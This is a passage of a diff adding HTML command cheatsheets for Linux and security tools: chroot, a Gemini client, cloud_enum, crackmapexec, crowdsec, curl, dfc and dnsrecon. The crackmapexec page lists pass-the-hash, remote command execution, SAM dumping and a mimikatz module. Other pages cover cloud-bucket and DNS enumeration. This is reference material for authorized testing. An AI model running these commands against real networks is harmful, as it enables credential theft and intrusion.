+
    +
  • mount --bind /proc <newroot>/proc - Bind proc filesystem
  • +
+
    +
  • mount --bind /sys <newroot>/sys - Bind sys filesystem
  • +
+
    +
  • mount --bind /dev/pts <newroot>/dev/pts - Bind pseudo-terminals
  • +
+
    +
  • mount --tmpfs /run <newroot>/run - Mount tmpfs for /run
  • +
+
    +
  • mount -t tmpfs none <newroot>/tmp - Mount tmpfs for /tmp (optional)
  • +
+
+

Practical Examples

+

System Recovery Session

+
# 1. Mount root filesystem
+mount /dev/sda2 /mnt
+
+# 2. Mount virtual filesystems
+mount --bind /dev /mnt/dev
+mount --bind /proc /mnt/proc
+mount --bind /sys /mnt/sys
+mount --bind /dev/pts /mnt/dev/pts
+
+# 3. Copy network config (if needed)
+cp /etc/resolv.conf /mnt/etc/resolv.conf
+
+# 4. Chroot and work
+chroot /mnt /bin/bash
+
+# Inside chroot:
+# - Fix boot issues
+# - Update packages
+# - Edit configuration files
+# - Reinstall bootloader
+
+# 5. Exit chroot
+exit
+
+# 6. Unmount everything
+umount /mnt/dev/pts
+umount /mnt/sys
+umount /mnt/proc
+umount /mnt/dev
+umount /mnt
+

Package Management in Chroot

+
# Arch Linux
+chroot /mnt pacman -Syu
+
+# Debian/Ubuntu
+chroot /mnt apt update
+chroot /mnt apt upgrade
+
+# Red Hat/CentOS/Fedora
+chroot /mnt dnf update
+
+

Exiting Chroot

+
    +
  • exit - Exit shell (returns to original root)
  • +
+
    +
  • Ctrl+D - Exit shell (same as exit)
  • +
+
    +
  • Unmount all bind mounts before exiting
  • +
+
+

Unmounting After Chroot

+
    +
  • umount <newroot>/dev/pts - Unmount pseudo-terminals
  • +
+
    +
  • umount <newroot>/sys - Unmount sys
  • +
+
    +
  • umount <newroot>/proc - Unmount proc
  • +
+
    +
  • umount <newroot>/dev - Unmount dev
  • +
+
    +
  • umount <newroot>/run - Unmount run (if mounted)
  • +
+
    +
  • umount <newroot> - Unmount root filesystem
  • +
+

If unmounting fails:

+
    +
  • fuser -m <mountpoint> - Find processes using mount
  • +
+
    +
  • fuser -km <mountpoint> - Kill processes using mount
  • +
+
    +
  • lsof <mountpoint> - List open files on mount
  • +
+
    +
  • umount -l <mountpoint> - Lazy unmount (unmount when not busy)
  • +
+
+

Troubleshooting

+

"chroot: failed to run command '/bin/bash': No such file or directory"

+
    +
  • Check that `/bin/bash` exists in the new root
  • +
+
    +
  • Verify architecture matches (32-bit vs 64-bit)
  • +
+
    +
  • Check library dependencies with `ldd /mnt/bin/bash`
  • +
+

"chroot: cannot change root directory to '/mnt': Operation not permitted"

+
    +
  • chroot requires root privileges - use `sudo` or `su`
  • +
+
    +
  • Verify the directory is actually mounted
  • +
+
    +
  • Check filesystem permissions
  • +
+

Network Not Working in Chroot

+
    +
  • Copy `/etc/resolv.conf` from host: `cp /etc/resolv.conf /mnt/etc/resolv.conf`
  • +
+
    +
  • Bind mount `/etc/resolv.conf`: `mount --bind /etc/resolv.conf /mnt/etc/resolv.conf`
  • +
+
    +
  • Ensure network is up in chroot if using network commands
  • +
+
+

Tips

+
    +
  • Always mount /dev, /proc, and /sys before chrooting for full functionality
  • +
+
    +
  • Use `mount --bind` instead of copying files when possible (reflects host changes)
  • +
+
    +
  • Copy or bind mount `/etc/resolv.conf` if you need DNS in chroot
  • +
+
    +
  • Use `exit` to leave chroot, don't just close terminal
  • +
+
    +
  • Unmount bind mounts in reverse order of mounting
  • +
+
    +
  • Check library dependencies if binaries don't run: `ldd <binary>`
  • +
+
    +
  • Use `arch-chroot` on Arch Linux for automatic setup of bind mounts
  • +
+
    +
  • Create chroot environment with `debootstrap` (Debian/Ubuntu) or `pacstrap` (Arch)
  • +
+
    +
  • Test chroot setup with simple command first: `chroot /mnt /bin/echo "Hello"`
  • +
+
    +
  • Be careful - filesystem operations in chroot affect the actual system
  • +
+
    +
  • Use chroot for system maintenance, recovery, building packages, and testing
  • +
+
    +
  • Some distributions provide helper scripts: `arch-chroot` (Arch), `systemd-nspawn` (systemd)
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/clagrange.html b/cheatsheets/clagrange.html new file mode 100644 index 0000000..00b548e --- /dev/null +++ b/cheatsheets/clagrange.html @@ -0,0 +1,207 @@ + + + + + + + + + + + clagrange Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

clagrange Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

clagrange is a terminal-based Gemini client, part of the Lagrange project.

+
+

Navigation

+
    +
  • ↑ or k - Scroll up
  • +
+
    +
  • ↓ or j - Scroll down
  • +
+
    +
  • ← or h - Go back
  • +
+
    +
  • → or l or Enter - Follow link / Go forward
  • +
+
    +
  • Space - Scroll down one page
  • +
+
    +
  • b - Scroll up one page
  • +
+
    +
  • g - Go to top
  • +
+
    +
  • G - Go to bottom
  • +
+
    +
  • u - Up one directory level
  • +
+
    +
  • / - Search
  • +
+
    +
  • n - Next search result
  • +
+
    +
  • N - Previous search result
  • +
+
+

Link Navigation

+
    +
  • Enter or → or l - Follow link under cursor
  • +
+
    +
  • Tab - Next link
  • +
+
    +
  • Shift+Tab - Previous link
  • +
+
    +
  • 1-9 - Follow numbered link
  • +
+
    +
  • f - Follow link (alternative)
  • +
+
    +
  • o - Open URL prompt
  • +
+
+

Tabs and Windows

+
    +
  • t - New tab
  • +
+
    +
  • T - New tab (with URL prompt)
  • +
+
    +
  • w - Close tab
  • +
+
    +
  • [ - Previous tab
  • +
+
    +
  • ] - Next tab
  • +
+
    +
  • 1-9 - Switch to tab number
  • +
+
+

Page Operations

+
    +
  • r - Reload page
  • +
+
    +
  • R - Hard reload
  • +
+
    +
  • s - Save page
  • +
+
    +
  • S - Save page (with prompt)
  • +
+
    +
  • i - Show page info
  • +
+
    +
  • I - Show page info (detailed)
  • +
+
+

Configuration

+

Config File Location

+
    +
  • ~/.config/clagrange/clagrange.ini (user config)
  • +
+
    +
  • ~/.local/share/clagrange/ (data directory)
  • +
+

Example Key Bindings

+

Customize in config file:

+
[bindings]
+scroll-up = k
+scroll-down = j
+go-back = h
+go-forward = l
+follow-link = Enter
+new-tab = t
+close-tab = w
+reload = r
+

Common Settings

+
[ui]
+theme = default
+font-family = monospace
+font-size = 12
+
+[network]
+timeout = 30
+max-redirects = 5
+
+

Tips

+
    +
  • Supports tabbed browsing
  • +
+
    +
  • Mouse clicks can follow links
  • +
+
    +
  • Themes and fonts configurable via config file
  • +
+
    +
  • Supports bookmarks and history
  • +
+
    +
  • Journaling features available
  • +
+
    +
  • Content viewing adjustable via theme files
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/cloud_enum.html b/cheatsheets/cloud_enum.html new file mode 100644 index 0000000..206f4c7 --- /dev/null +++ b/cheatsheets/cloud_enum.html @@ -0,0 +1,205 @@ + + + + + + + + + + + cloud_enum Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

cloud_enum Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

cloud_enum is a multi-cloud OSINT tool for enumerating public resources in AWS, Azure, and GCP. It discovers storage buckets, apps, databases, and other cloud services based on keyword mutations.

+
+

Basic Usage

+
    +
  • cloud_enum -k <keyword> - Enumerate using keyword
  • +
+
    +
  • python3 cloud_enum.py -k <keyword> - Run with Python
  • +
+
+

Options

+
    +
  • -k, --keyword - Base keyword for enumeration
  • +
+
    +
  • -kf, --keyfile - File with keywords (one per line)
  • +
+
    +
  • -m, --mutations - Mutations file for keyword variations
  • +
+
    +
  • -b, --brute - Brute force with mutations file
  • +
+
    +
  • -t, --threads - Threads for brute forcing (default 5)
  • +
+
    +
  • -ns, --nameserver - Custom DNS server
  • +
+
    +
  • -l, --logfile - Log output to file
  • +
+
    +
  • -f, --format - Output format (json, csv)
  • +
+
    +
  • --disable-aws - Disable AWS checks
  • +
+
    +
  • --disable-azure - Disable Azure checks
  • +
+
    +
  • --disable-gcp - Disable GCP checks
  • +
+
    +
  • -qs, --quickscan - Quick scan (no mutations)
  • +
+
+

What It Finds

+

AWS

+
    +
  • S3 Buckets
  • +
  • Open S3 Buckets
  • +
  • AWS Apps (Elastic Beanstalk)
  • +
+

Azure

+
    +
  • Storage Accounts (Blob, File, Queue, Table)
  • +
  • Azure Websites/Apps
  • +
  • Azure Databases
  • +
  • Azure VMs
  • +
  • Azure Container Registries
  • +
+

GCP

+
    +
  • GCP Buckets
  • +
  • Open GCP Buckets
  • +
  • GCP App Engine apps
  • +
  • Firebase databases
  • +
  • Cloud Functions
  • +
+
+

Common Examples

+

Basic Enumeration

+
cloud_enum -k companyname
+

Enumerate resources for company.

+

Multiple Keywords

+
cloud_enum -kf keywords.txt
+

Use multiple keywords from file.

+

With Mutations

+
cloud_enum -k companyname -m mutations.txt -b
+

Brute force with keyword mutations.

+

Quick Scan

+
cloud_enum -k companyname -qs
+

Fast scan without mutations.

+

AWS Only

+
cloud_enum -k companyname --disable-azure --disable-gcp
+

Check only AWS resources.

+

Azure Only

+
cloud_enum -k companyname --disable-aws --disable-gcp
+

Check only Azure resources.

+

Save Output

+
cloud_enum -k companyname -l results.txt
+

Log results to file.

+

JSON Output

+
cloud_enum -k companyname -f json -l results.json
+

Save as JSON.

+

More Threads

+
cloud_enum -k companyname -b -t 10
+

Faster brute forcing.

+
+

Mutations

+

Mutations generate variations of your keyword:

+
# Example mutations file
+-dev
+-prod
+-staging
+-backup
+-test
+-internal
+.dev
+.prod
+_backup
+

These get appended/prepended to the keyword.

+
+

Installation

+
git clone https://github.com/initstring/cloud_enum.git
+cd cloud_enum
+pip3 install -r requirements.txt
+python3 cloud_enum.py -k test
+
+

Tips

+
    +
  • Use company name, product names, project names as keywords
  • +
+
    +
  • Check variations: companyname, company-name, companynameinc
  • +
+
    +
  • Open buckets are high-value findings
  • +
+
    +
  • Combine with manual checks for access permissions
  • +
+
    +
  • Use mutations for thorough enumeration
  • +
+
    +
  • Check for sensitive file exposure in found buckets
  • +
+
    +
  • Great for OSINT and attack surface mapping
  • +
+
    +
  • Always get authorization before testing access
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/crackmapexec.html b/cheatsheets/crackmapexec.html new file mode 100644 index 0000000..1091459 --- /dev/null +++ b/cheatsheets/crackmapexec.html @@ -0,0 +1,216 @@ + + + + + + + + + + + crackmapexec Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

crackmapexec Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

CrackMapExec (CME) is a post-exploitation tool for assessing the security of Active Directory environments. Enumerates, exploits, and pivots through Windows networks using various protocols.

+
+

Basic Usage

+
    +
  • crackmapexec smb 192.168.1.0/24 - Enumerate SMB
  • +
+
    +
  • crackmapexec smb 192.168.1.0/24 -u user -p pass - Authenticate
  • +
+
    +
  • crackmapexec smb 192.168.1.0/24 -u user -H hash - Pass-the-hash
  • +
+
    +
  • crackmapexec smb 192.168.1.0/24 -u user -p pass -M module - Execute module
  • +
+
+

Protocols

+
    +
  • smb - SMB/CIFS protocol
  • +
+
    +
  • ssh - SSH protocol
  • +
+
    +
  • winrm - WinRM protocol
  • +
+
    +
  • ldap - LDAP protocol
  • +
+
    +
  • mssql - Microsoft SQL Server
  • +
+
    +
  • rdp - Remote Desktop Protocol
  • +
+
    +
  • vnc - VNC protocol
  • +
+
+

Authentication

+
    +
  • -u user - Username
  • +
+
    +
  • -p password - Password
  • +
+
    +
  • -H hash - NTLM hash
  • +
+
    +
  • -k - Kerberos authentication
  • +
+
    +
  • -d domain - Domain name
  • +
+
    +
  • -U user:pass - User:pass format
  • +
+
    +
  • --local-auth - Local authentication
  • +
+
+

Enumeration

+
    +
  • --shares - List shares
  • +
+
    +
  • --sessions - List sessions
  • +
+
    +
  • --loggedon-users - Logged on users
  • +
+
    +
  • --disks - List disks
  • +
+
    +
  • --users - Enumerate users
  • +
+
    +
  • --groups - Enumerate groups
  • +
+
    +
  • --computers - Enumerate computers
  • +
+
    +
  • --pass-pol - Password policy
  • +
+
+

Execution

+
    +
  • -x command - Execute command
  • +
+
    +
  • -X command - Execute PowerShell
  • +
+
    +
  • -M module - Execute module
  • +
+
    +
  • --exec-method wmiexec - Execution method
  • +
+
    +
  • --no-output - Suppress output
  • +
+
+

Common Examples

+

Enumerate SMB

+
crackmapexec smb 192.168.1.0/24
+

Scan network for SMB hosts.

+

Authenticate

+
crackmapexec smb 192.168.1.0/24 -u admin -p Password123
+

Test credentials across network.

+

Pass-the-Hash

+
crackmapexec smb 192.168.1.0/24 -u admin -H aad3b435b51404eeaad3b435b51404ee
+

Authenticate with NTLM hash.

+

List Shares

+
crackmapexec smb 192.168.1.0/24 -u user -p pass --shares
+

Enumerate SMB shares.

+

Execute Command

+
crackmapexec smb 192.168.1.10 -u admin -p pass -x "whoami"
+

Run command on target.

+

PowerShell

+
crackmapexec smb 192.168.1.10 -u admin -p pass -X "Get-Process"
+

Execute PowerShell command.

+

Dump SAM

+
crackmapexec smb 192.168.1.10 -u admin -p pass --sam
+

Dump SAM database.

+

List Modules

+
crackmapexec smb --list-modules
+

Show available modules.

+

Use Module

+
crackmapexec smb 192.168.1.10 -u admin -p pass -M mimikatz
+

Execute module.

+
+

Tips

+
    +
  • Use -H for pass-the-hash attacks
  • +
+
    +
  • Use --shares to discover file shares
  • +
+
    +
  • Use -x for command execution
  • +
+
    +
  • Use -X for PowerShell execution
  • +
+
    +
  • Check --list-modules for available modules
  • +
+
    +
  • Use -k for Kerberos authentication
  • +
+
    +
  • Essential for AD security testing
  • +
+
    +
  • Powerful lateral movement tool
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/crowdsec.html b/cheatsheets/crowdsec.html new file mode 100644 index 0000000..515f775 --- /dev/null +++ b/cheatsheets/crowdsec.html @@ -0,0 +1,235 @@ + + + + + + + + + + + crowdsec Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

crowdsec Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

CrowdSec is a collaborative intrusion prevention system that analyzes behaviors, responds to attacks, and shares threat intelligence. Modern, open-source alternative to fail2ban with community-driven detection rules.

+
+

Basic Usage

+
    +
  • crowdsec -h - Show help
  • +
+
    +
  • crowdsec status - Show status
  • +
+
    +
  • systemctl status crowdsec - Service status
  • +
+
    +
  • systemctl start crowdsec - Start service
  • +
+
    +
  • systemctl stop crowdsec - Stop service
  • +
+
    +
  • systemctl restart crowdsec - Restart service
  • +
+
+

Configuration

+
    +
  • /etc/crowdsec/config.yaml - Main configuration
  • +
+
    +
  • /etc/crowdsec/acquis.yaml - Log sources
  • +
+
    +
  • /etc/crowdsec/parsers/ - Parser configurations
  • +
+
    +
  • /etc/crowdsec/scenarios/ - Detection scenarios
  • +
+
    +
  • /etc/crowdsec/collections/ - Collection definitions
  • +
+
+

Management

+
    +
  • cscli -h - CLI tool help
  • +
+
    +
  • cscli hub list - List installed collections
  • +
+
    +
  • cscli hub update - Update collections
  • +
+
    +
  • cscli hub upgrade - Upgrade collections
  • +
+
    +
  • cscli collections list - List collections
  • +
+
    +
  • cscli collections install crowdsecurity/linux - Install collection
  • +
+
    +
  • cscli parsers list - List parsers
  • +
+
    +
  • cscli scenarios list - List scenarios
  • +
+
+

Bouncers

+
    +
  • cscli bouncers list - List bouncers
  • +
+
    +
  • cscli bouncers add mybouncer - Add bouncer
  • +
+
    +
  • cscli bouncers delete mybouncer - Delete bouncer
  • +
+
    +
  • cscli bouncers inspect mybouncer - Inspect bouncer
  • +
+
+

Decisions & Alerts

+
    +
  • cscli decisions list - List active decisions
  • +
+
    +
  • cscli decisions list -i 192.168.1.100 - Decisions for IP
  • +
+
    +
  • cscli alerts list - List alerts
  • +
+
    +
  • cscli alerts inspect <alert_id> - Inspect alert
  • +
+
    +
  • cscli decisions delete -i 192.168.1.100 - Delete decision
  • +
+
    +
  • cscli decisions add -i 192.168.1.100 -t ban - Add decision
  • +
+
+

Metrics & Monitoring

+
    +
  • cscli metrics - Show metrics
  • +
+
    +
  • cscli hub list -v - Verbose collection list
  • +
+
    +
  • cscli version - Show version
  • +
+
    +
  • cscli capi status - API status
  • +
+
+

Common Examples

+

Install Collection

+
cscli collections install crowdsecurity/linux
+

Install Linux collection.

+

Update Collections

+
cscli hub update && cscli hub upgrade
+

Update and upgrade all collections.

+

List Decisions

+
cscli decisions list
+

Show active bans.

+

Check IP

+
cscli decisions list -i 192.168.1.100
+

Check if IP is banned.

+

Add Manual Ban

+
cscli decisions add -i 192.168.1.100 -t ban --duration 24h
+

Manually ban IP for 24 hours.

+

Remove Ban

+
cscli decisions delete -i 192.168.1.100
+

Remove ban for IP.

+

View Alerts

+
cscli alerts list
+

List recent security alerts.

+

Service Status

+
systemctl status crowdsec
+

Check service status.

+
+

Configuration Files

+
    +
  • /etc/crowdsec/config.yaml - Main config
  • +
+
    +
  • /etc/crowdsec/acquis.yaml - Log acquisition
  • +
+
    +
  • /var/log/crowdsec.log - Main log file
  • +
+
    +
  • /var/lib/crowdsec/data/ - Database directory
  • +
+
+

Tips

+
    +
  • Install collections for your services (nginx, ssh, etc.)
  • +
+
    +
  • Regularly update collections: cscli hub update
  • +
+
    +
  • Configure acquis.yaml to monitor your logs
  • +
+
    +
  • Use bouncers to integrate with firewalls
  • +
+
    +
  • Monitor decisions and alerts regularly
  • +
+
    +
  • Share intelligence with community (optional)
  • +
+
    +
  • More modern and flexible than fail2ban
  • +
+
    +
  • Community-driven detection rules
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/curl.html b/cheatsheets/curl.html new file mode 100644 index 0000000..214f775 --- /dev/null +++ b/cheatsheets/curl.html @@ -0,0 +1,306 @@ + + + + + + + + + + + curl Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

curl Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

curl is a command-line tool for transferring data with URLs. It supports HTTP, HTTPS, FTP, and many other protocols. Essential for API testing, web scraping, and general HTTP operations.

+
+

Basic Usage

+
    +
  • curl <url> - GET request, output to stdout
  • +
+
    +
  • curl -o file.html <url> - Save to file
  • +
+
    +
  • curl -O <url> - Save with remote filename
  • +
+
+

HTTP Methods

+
    +
  • curl -X GET <url> - GET request (default)
  • +
+
    +
  • curl -X POST <url> - POST request
  • +
+
    +
  • curl -X PUT <url> - PUT request
  • +
+
    +
  • curl -X DELETE <url> - DELETE request
  • +
+
    +
  • curl -X PATCH <url> - PATCH request
  • +
+
    +
  • curl -I <url> - HEAD request (headers only)
  • +
+
+

Headers

+
    +
  • -H "Header: Value" - Add custom header
  • +
+
    +
  • -H "Content-Type: application/json" - Set content type
  • +
+
    +
  • -H "Authorization: Bearer token" - Auth header
  • +
+
    +
  • -A "User-Agent" - Set User-Agent
  • +
+
    +
  • -e "Referer" - Set Referer header
  • +
+
+

Data/Body

+
    +
  • -d "data" - Send POST data
  • +
+
    +
  • -d @file.json - POST data from file
  • +
+
    +
  • --data-urlencode "param=value" - URL encode data
  • +
+
    +
  • -F "file=@path/file.txt" - Form upload
  • +
+
    +
  • -F "field=value" - Form field
  • +
+
+

Output Options

+
    +
  • -o filename - Output to file
  • +
+
    +
  • -O - Save with remote filename
  • +
+
    +
  • -s - Silent mode (no progress)
  • +
+
    +
  • -S - Show errors in silent mode
  • +
+
    +
  • -v - Verbose output
  • +
+
    +
  • -i - Include response headers
  • +
+
    +
  • -w "%{http_code}" - Write out format
  • +
+
+

Authentication

+
    +
  • -u user:password - Basic auth
  • +
+
    +
  • --digest - Digest auth
  • +
+
    +
  • --ntlm - NTLM auth
  • +
+
    +
  • --negotiate - Negotiate auth
  • +
+
    +
  • -E cert.pem - Client certificate
  • +
+
+

Cookies

+
    +
  • -b "name=value" - Send cookie
  • +
+
    +
  • -b cookies.txt - Read cookies from file
  • +
+
    +
  • -c cookies.txt - Save cookies to file
  • +
+
    +
  • -c - - Print cookies to stdout
  • +
+
+

SSL/TLS

+
    +
  • -k - Ignore SSL errors
  • +
+
    +
  • --cacert file - CA certificate
  • +
+
    +
  • --cert file - Client certificate
  • +
+
    +
  • --key file - Private key
  • +
+
    +
  • --tlsv1.2 - Force TLS 1.2
  • +
+
    +
  • --tlsv1.3 - Force TLS 1.3
  • +
+
+

Proxy

+
    +
  • -x proxy:port - HTTP proxy
  • +
+
    +
  • -x socks5://proxy:port - SOCKS5 proxy
  • +
+
    +
  • --proxy-user user:pass - Proxy auth
  • +
+
    +
  • --noproxy "localhost" - Bypass proxy
  • +
+
+

Redirects & Timeouts

+
    +
  • -L - Follow redirects
  • +
+
    +
  • --max-redirs N - Max redirects
  • +
+
    +
  • --connect-timeout N - Connection timeout
  • +
+
    +
  • -m N - Max time for operation
  • +
+
    +
  • --retry N - Retry count
  • +
+
+

Common Examples

+

Simple GET

+
curl https://api.example.com/data
+

Basic GET request.

+

POST JSON

+
curl -X POST -H "Content-Type: application/json" -d '{"key":"value"}' https://api.example.com/data
+

POST JSON data.

+

Download File

+
curl -O https://example.com/file.zip
+

Download and save with original name.

+

With Auth

+
curl -u admin:password https://api.example.com/admin
+

Basic authentication.

+

Headers Only

+
curl -I https://example.com
+

Get response headers only.

+

Verbose Debug

+
curl -v https://example.com
+

See full request/response details.

+

Follow Redirects

+
curl -L https://example.com/redirect
+

Follow HTTP redirects.

+

Upload File

+
curl -F "file=@/path/to/file.txt" https://example.com/upload
+

Upload file via form.

+

Status Code Only

+
curl -s -o /dev/null -w "%{http_code}" https://example.com
+

Get only HTTP status code.

+

Through Proxy

+
curl -x http://proxy:8080 https://example.com
+

Route through HTTP proxy.

+

Save Cookies

+
curl -c cookies.txt -b cookies.txt https://example.com/login
+

Manage session cookies.

+

API Token

+
curl -H "Authorization: Bearer eyJhbGc..." https://api.example.com/user
+

Request with bearer token.

+
+

Write-Out Variables

+

Use with -w option:

+
    +
  • %{http_code} - HTTP status code
  • +
  • %{time_total} - Total time
  • +
  • %{time_connect} - Time to connect
  • +
  • %{size_download} - Downloaded bytes
  • +
  • %{speed_download} - Download speed
  • +
  • %{url_effective} - Final URL
  • +
  • %{redirect_url} - Redirect URL
  • +
+
+

Tips

+
    +
  • Use -s for scripts (silent mode)
  • +
+
    +
  • Use -v to debug connection issues
  • +
+
    +
  • Use -L to handle redirects automatically
  • +
+
    +
  • Use -k only for testing (insecure)
  • +
+
    +
  • Combine -sS for silent but show errors
  • +
+
    +
  • Use @filename to read data from files
  • +
+
    +
  • Essential for API testing and debugging
  • +
+
    +
  • Supports many protocols beyond HTTP
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + diff --git a/cheatsheets/dfc.html b/cheatsheets/dfc.html new file mode 100644 index 0000000..f679c2a --- /dev/null +++ b/cheatsheets/dfc.html @@ -0,0 +1,141 @@ + + + + + + + + + + + dfc Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

dfc Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

dfc (disk free color) displays filesystem disk space usage with color output. Enhanced version of df with better formatting and visual indicators.

+
+

Basic Usage

+
    +
  • dfc - Show all filesystems
  • +
+
    +
  • dfc / - Show specific mount point
  • +
+
    +
  • dfc -h - Human-readable sizes
  • +
+
    +
  • dfc -T - Show filesystem types
  • +
+
+

Options

+
    +
  • -h - Human-readable sizes (KB, MB, GB)
  • +
+
    +
  • -T - Show filesystem type
  • +
+
    +
  • -t type - Show only specific filesystem type
  • +
+
    +
  • -x type - Exclude filesystem type
  • +
+
    +
  • -a - Show all filesystems including pseudo
  • +
+
    +
  • -i - Show inode information
  • +
+
    +
  • -l - Local filesystems only
  • +
+
    +
  • -n - No color output
  • +
+
+

Common Examples

+

Human Readable

+
dfc -h
+

Show disk usage in readable format.

+

With Types

+
dfc -T
+

Include filesystem types.

+

Specific Mount

+
dfc -h /
+

Check root filesystem.

+

Local Only

+
dfc -l
+

Show only local filesystems.

+

Inode Usage

+
dfc -i
+

Display inode information.

+
+

Tips

+
    +
  • Use -h for human-readable output
  • +
+
    +
  • Use -T to see filesystem types
  • +
+
    +
  • Color coding helps identify usage levels
  • +
+
    +
  • Use -l to filter out network mounts
  • +
+
    +
  • Essential for disk space monitoring
  • +
+
    +
  • More visual than standard df
  • +
+
    +
  • Great for quick system checks
  • +
+
    +
  • Use -i to check inode exhaustion
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/dnsrecon.html b/cheatsheets/dnsrecon.html new file mode 100644 index 0000000..15267e4 --- /dev/null +++ b/cheatsheets/dnsrecon.html @@ -0,0 +1,220 @@ + + + + + + + + + + + dnsrecon Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

dnsrecon Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

DNSRecon is a powerful DNS enumeration tool written in Python. It performs various DNS record enumeration, zone transfers, subdomain brute forcing, and more.

+
+

Basic Usage

+
    +
  • dnsrecon -d <domain> - Standard enumeration
  • +
+
    +
  • dnsrecon -d <domain> -t std - Standard record enumeration
  • +
+
+

Enumeration Types (-t)

+
    +
  • std - Standard record enumeration (SOA, NS, A, AAAA, MX, TXT)
  • +
+
    +
  • rvl - Reverse lookup of IP range
  • +
+
    +
  • brt - Brute force subdomains and hosts
  • +
+
    +
  • srv - SRV record enumeration
  • +
+
    +
  • axfr - Zone transfer
  • +
+
    +
  • goo - Google search for subdomains
  • +
+
    +
  • bing - Bing search for subdomains
  • +
+
    +
  • snoop - DNS cache snooping
  • +
+
    +
  • tld - TLD expansion
  • +
+
    +
  • zonewalk - DNSSEC zone walk
  • +
+
+

Target Options

+
    +
  • -d <domain> - Target domain
  • +
+
    +
  • -r <range> - IP range for reverse lookup (CIDR or range)
  • +
+
    +
  • -n <ns> - Name server to use
  • +
+
    +
  • -D <file> - Wordlist for brute force
  • +
+
+

Output Options

+
    +
  • -c <file> - CSV output file
  • +
+
    +
  • -j <file> - JSON output file
  • +
+
    +
  • -x <file> - XML output file
  • +
+
    +
  • --db <file> - SQLite database output
  • +
+
+

Performance Options

+
    +
  • --threads <num> - Number of threads
  • +
+
    +
  • --lifetime <sec> - Query lifetime (timeout)
  • +
+
    +
  • --tcp - Use TCP for queries
  • +
+
+

Other Options

+
    +
  • -a - Perform AXFR with standard enumeration
  • +
+
    +
  • -s - Perform reverse lookup on IP ranges in SPF records
  • +
+
    +
  • -g - Perform Google enumeration
  • +
+
    +
  • -b - Perform Bing enumeration
  • +
+
    +
  • -k - Perform cache snooping
  • +
+
    +
  • -w - Perform deep whois lookup
  • +
+
    +
  • -z - Perform DNSSEC zone walk
  • +
+
    +
  • -v - Verbose output
  • +
+
+

Common Examples

+

Standard Enumeration

+
dnsrecon -d example.com
+

Get all standard DNS records.

+

Zone Transfer

+
dnsrecon -d example.com -t axfr
+

Attempt zone transfer.

+

Subdomain Brute Force

+
dnsrecon -d example.com -t brt -D /usr/share/wordlists/subdomains.txt
+

Brute force subdomains with wordlist.

+

Reverse Lookup

+
dnsrecon -r 192.168.1.0/24
+

